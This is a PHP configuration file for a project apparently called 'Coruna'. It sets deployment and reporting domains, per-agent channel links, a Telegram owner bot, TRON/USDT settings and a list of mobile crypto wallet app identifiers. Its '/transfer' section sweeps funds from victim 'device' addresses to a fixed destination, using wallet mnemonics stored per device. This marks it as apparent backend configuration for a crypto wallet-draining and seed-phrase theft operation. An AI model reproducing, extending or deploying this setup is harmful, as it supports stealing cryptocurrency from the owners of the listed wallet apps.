102 lines
4.2 KiB
PHP
102 lines
4.2 KiB
PHP
<?php
|
|
|
|
$parseDomains = static fn (string $value): array => array_values(array_filter(array_map(
|
|
'trim',
|
|
preg_split('/[\s,;]+/', $value) ?: []
|
|
)));
|
|
// Channel / deployment hosts (link display fallback + builder deployment_domains).
|
|
$channelDomains = $parseDomains((string) env(
|
|
'CORUNA_LAB_CHANNEL_DOMAINS',
|
|
env('CORUNA_DEPLOYMENT_DOMAINS', env('CORUNA_CHANNEL_DOMAINS', ''))
|
|
));
|
|
// Reporting hosts passed to lab-web as reporting_domains.
|
|
$adminDomains = $parseDomains((string) env(
|
|
'CORUNA_LAB_AMIDN_DOMAINS',
|
|
env('CORUNA_REPORTING_DOMAINS', '')
|
|
));
|
|
|
|
return [
|
|
'session_key' => env('CORUNA_SESSION_KEY'), // optional override; empty = derive(seed=0)
|
|
// channel_domains / deployment_domains: CORUNA_LAB_CHANNEL_DOMAINS (+ legacy aliases).
|
|
'channel_domains' => $channelDomains,
|
|
'deployment_domains' => $channelDomains,
|
|
// reporting_domains: CORUNA_LAB_AMIDN_DOMAINS (+ legacy CORUNA_REPORTING_DOMAINS).
|
|
'reporting_domains' => $adminDomains,
|
|
'static_site' => [
|
|
// Optional complete origin/base path prepended before /channel/{id}/web/support.html.
|
|
'base_url' => rtrim((string) env('CORUNA_STATIC_SITE_BASE_URL', ''), '/'),
|
|
'scheme' => env('CORUNA_STATIC_SITE_SCHEME', 'https'),
|
|
],
|
|
'build_service' => [
|
|
// HTTP host for coruna-lab-web build API (create/delete channel assets).
|
|
'url' => rtrim((string) env('CORUNA_BUILD_SERVICE_URL', env('CORUNA_LAB_WEB_URL', '')), '/'),
|
|
'token' => env('CORUNA_BUILD_SERVICE_TOKEN', env('CORUNA_LAB_WEB_TOKEN', '')),
|
|
'connect_timeout' => (float) env('CORUNA_BUILD_SERVICE_CONNECT_TIMEOUT', 5),
|
|
'timeout' => (float) env('CORUNA_BUILD_SERVICE_TIMEOUT', 600),
|
|
],
|
|
'channels' => [
|
|
// Max channel links per agent user (0 = official is unlimited). Overridable via settings.
|
|
'max_per_agent' => (int) env('CORUNA_MAX_CHANNELS_PER_AGENT', 5),
|
|
],
|
|
|
|
// Absolute path, project-local bin/7z, or bare "7z" on PATH. Avoid probing
|
|
// system paths with is_executable() under open_basedir (see CorunaArchive).
|
|
'seven_zip' => env('CORUNA_7Z_BIN', ''),
|
|
'telegram' => [
|
|
'bot_token' => env('TELEGRAM_BOT_TOKEN'),
|
|
'owner_chat_id' => env('TELEGRAM_OWNER_CHAT_ID'),
|
|
'webhook_secret' => env('TELEGRAM_WEBHOOK_SECRET', ''),
|
|
],
|
|
'tokenview' => [
|
|
'api_key' => env('TOKENVIEW_API_KEY', ''),
|
|
'sign_key' => env('TOKENVIEW_SIGN_KEY', ''),
|
|
'base_url' => env('TOKENVIEW_BASE_URL', 'https://services.tokenview.io/vipapi'),
|
|
],
|
|
'tron' => [
|
|
'full_node' => env('TRON_FULL_NODE', 'https://api.trongrid.io'),
|
|
'api_key' => env('TRON_API_KEY', ''),
|
|
'usdt_contract' => env('TRON_USDT_CONTRACT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'),
|
|
'fee_limit' => (int) env('TRON_FEE_LIMIT', 100_000_000),
|
|
],
|
|
// /transfer: from = command arg (device address); to = TRANSFER_TO_ADDRESS.
|
|
// Mnemonics resolved from wallet_mnemonics by address→device_id+source.
|
|
'transfer' => [
|
|
'to_address' => env('TRANSFER_TO_ADDRESS', ''),
|
|
'max_usdt' => env('TRANSFER_MAX_USDT', '0'),
|
|
'max_trx' => env('TRANSFER_MAX_TRX', '0'),
|
|
// BIP44 account index scan upper bound when matching fromAddress.
|
|
'max_derive_index' => (int) env('TRANSFER_MAX_DERIVE_INDEX', 20),
|
|
// Leave this much TRX when transferring "all" native (bandwidth/energy fees).
|
|
'trx_fee_reserve' => env('TRANSFER_TRX_FEE_RESERVE', '1'),
|
|
],
|
|
// reserved legacy payout addresses
|
|
'payout' => [
|
|
'eth' => env('PAYOUT_ETH'),
|
|
'btc' => env('PAYOUT_BTC'),
|
|
'tron' => env('PAYOUT_TRON'),
|
|
'sol' => env('PAYOUT_SOL'),
|
|
],
|
|
|
|
'wallet_bundles' => [
|
|
'im.token.app',
|
|
'io.metamask',
|
|
'com.wallet.crypto.trustapp',
|
|
'com.okex.wallet',
|
|
'com.coinbase.wallet',
|
|
'com.exodus',
|
|
'app.phantom',
|
|
'com.uniswap.mobile',
|
|
'com.tronlinkpro.wallet',
|
|
'com.mytonwallet.app',
|
|
'com.tonhub.app',
|
|
'com.tonkeeper.app',
|
|
'vip.mytokenpocket',
|
|
'com.bitkeep.wallet',
|
|
'com.bitpie',
|
|
'com.coin98',
|
|
'com.solflare.mobile',
|
|
'com.roninchain.wallet',
|
|
'com.krystal.wallet',
|
|
],
|
|
];
|